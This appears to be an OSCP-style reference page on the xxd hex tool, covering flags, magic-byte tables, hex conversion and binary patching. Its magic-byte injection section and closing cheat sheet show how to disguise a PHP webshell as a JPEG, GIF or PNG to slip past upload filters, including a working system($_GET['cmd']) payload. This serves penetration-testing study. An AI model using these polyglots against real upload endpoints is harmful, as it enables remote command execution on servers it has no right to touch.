xxd — Hex Dump & Binary Manipulation
What is xxd?
xxd converts files to and from hex. It can dump any file as readable hex, patch specific bytes, and reverse a hex string back into binary — making it essential for inspecting file signatures (magic bytes) and crafting files that bypass upload filters.
Syntax
xxd [options] [infile] [outfile]📌 1) All Flags
| Flag | Description |
|---|---|
-r | Reverse — convert hex dump back to binary |
-p | Plain hex output (no address/ASCII columns) |
-r -p | Convert plain hex string → binary |
-l <n> | Only dump the first n bytes |
-s <offset> | Start at byte offset (decimal or hex with 0x) |
-c <n> | Columns — bytes per row (default: 16) |
-g <n> | Group size — bytes per group (default: 2) |
-u | Use uppercase hex letters |
-i | Output as a C-style unsigned char array |
-b | Binary (bit) dump instead of hex |
-e | Little-endian byte order |
-d | Decimal offset instead of hex offset |
-n <name> | Override variable name in -i output |
-o <offset> | Add offset to the displayed address |
📌 2) Basic Usage
View hex dump of a file
xxd file.bin
xxd file.bin | head -20 # First 20 lines
xxd /bin/ls | head # Inspect any binaryOutput columns: [offset] [hex bytes] [ASCII]
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
View only the first N bytes (magic bytes check)
xxd -l 16 file.jpg # First 16 bytes
xxd -l 4 file.png # First 4 bytes (PNG signature)
xxd -l 8 file.gifPlain hex output (no formatting — useful for scripting)
xxd -p file.bin # All hex, no spaces or offsets
xxd -p -l 8 file.jpg # First 8 bytes as plain hexView a specific byte range
xxd -s 0x100 -l 32 file.bin # 32 bytes starting at offset 0x100
xxd -s 256 -l 32 file.bin # Same, decimal offset📌 3) Convert Hex → Binary (-r -p)
The most important xxd workflow for OSCP — convert a hex string into a binary file:
# Convert a hex string to binary
echo -n "FFD8FFE000104A464946" | xxd -r -p > output.bin
# Write specific bytes to a file
echo -n "FFD8FFE0" | xxd -r -p > header.bin
# Check what you made
xxd -l 8 header.bin
file header.bin📌 4) Magic Bytes — File Signatures
Every file type has a unique byte signature at the start of the file. Servers and AV tools often use these to identify file types, regardless of extension.
Common Magic Bytes (Hex)
| File Type | Magic Bytes (Hex) | ASCII |
|---|---|---|
| JPEG | FF D8 FF E0 | ÿØÿà |
| JPEG (JFIF) | FF D8 FF E0 00 10 4A 46 49 46 00 01 | ÿØÿà..JFIF. |
| PNG | 89 50 4E 47 0D 0A 1A 0A | ‰PNG.... |
| GIF87a | 47 49 46 38 37 61 | GIF87a |
| GIF89a | 47 49 46 38 39 61 | GIF89a |
25 50 44 46 | %PDF | |
| ZIP | 50 4B 03 04 | PK.. |
| 7-Zip | 37 7A BC AF 27 1C | 7z¼¯'. |
| RAR | 52 61 72 21 1A 07 | Rar!.. |
| ELF (Linux binary) | 7F 45 4C 46 | .ELF |
| PE (Windows EXE/DLL) | 4D 5A | MZ |
| BMP | 42 4D | BM |
| MP4 | 00 00 00 18 66 74 79 70 | ....ftyp |
| Class (Java) | CA FE BA BE | Êþ¾¾ |
Check a file’s magic bytes
# Using xxd
xxd -l 16 suspicious_file
# Using file command (reads magic bytes automatically)
file suspicious_file
file image.jpg
file upload.php
# Using hexdump
hexdump -C -n 16 suspicious_file📌 5) Making a File Look Like a JPEG (Magic Byte Injection)
Prepend JPEG magic bytes to any file so that file and magic-byte checks report it as a JPEG. Used to bypass upload filters that inspect file content rather than just the extension.
Prepend JPEG header to any file
# Prepend the JPEG magic bytes to a PHP webshell
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
# Verify — should say JPEG
file shell.jpg
xxd -l 16 shell.jpg
# The file will pass magic-byte checks AND contain PHP codePrepend a real JPEG header (more convincing)
# Use the first bytes of an actual image, then append your payload
head -c 16 real_image.jpg > magic_header.bin
cat magic_header.bin shell.php > fake_image.jpg
# Or inline:
(head -c 16 real_image.jpg; cat shell.php) > fake_image.jpg
file fake_image.jpg # Reports: JPEG image dataGIF polyglot (also common — bypass GIF magic byte check)
# GIF89a header
(printf 'GIF89a'; cat shell.php) > shell.gif
file shell.gif # Reports: GIF image data
# Or with xxd:
(echo -n "474946383961" | xxd -r -p; cat shell.php) > shell.gifPNG polyglot
xxd hex method (OSCP walkthrough style):
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
file mime_shell.php.png # PNG image dataOne-liner:
(printf '\x89PNG\r\n\x1a\n'; cat shell.php) > shell.pngInject into real PNG: open image in vim, paste PHP after header bytes:
<?php echo "START<br/><br/>\n\n\n"; system($_GET["cmd"]); echo "\n\n\n<br/><br/>"; ?>Verify with file — must still report PNG image data.
📌 6) Patching a Binary In-Place
Edit specific bytes of a file without changing its size:
# Step 1: dump to editable hex file
xxd original.bin > original.hex
# Step 2: edit the hex file (change specific bytes)
nano original.hex
# Step 3: convert back to binary (overwrites in place)
xxd -r original.hex > patched.bin
# Verify patch
xxd -l 32 patched.bin📌 7) Useful One-Liners
# Check magic bytes of any file
xxd -l 8 <file> | head -1
# Compare two files as hex
diff <(xxd file1) <(xxd file2)
# Find a string inside a binary file
xxd binary | grep -i "password\|secret\|flag"
# Extract bytes 100-200 from a file
xxd -s 100 -l 100 file.bin | xxd -r > extracted.bin
# Print a file's full content as a one-line hex string
xxd -p file.bin | tr -d '\n'
# Convert a hex string back to ASCII
echo "48656c6c6f" | xxd -r -p
# Create a file with specific bytes from scratch
printf '\xFF\xD8\xFF\xE0' > jpeg_magic.bin
echo -n "deadbeef" | xxd -r -p > test.bin📌 Quick OSCP Cheat Sheet (Copy/Paste)
# Check what file type a file really is
file suspicious_file
xxd -l 16 suspicious_file
# Prepend JPEG magic bytes to a webshell (bypass upload filters)
(echo -n "FFD8FFE000104A4649460001" | xxd -r -p; cat shell.php) > shell.jpg
# GIF89a polyglot
(printf 'GIF89a'; cat shell.php) > shell.gif
# PNG polyglot (xxd hex header)
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
cat shell.php >> mime_shell.php.png
# Use a real image's header (most convincing)
(head -c 16 legit.jpg; cat shell.php) > fake.jpg
# Verify the magic bytes are there
xxd -l 16 fake.jpg
file fake.jpg
# Find strings in a binary
xxd binary | grep -i "pass\|key\|secret\|flag"
# Hex → ASCII conversion
echo "546f6f6c" | xxd -r -p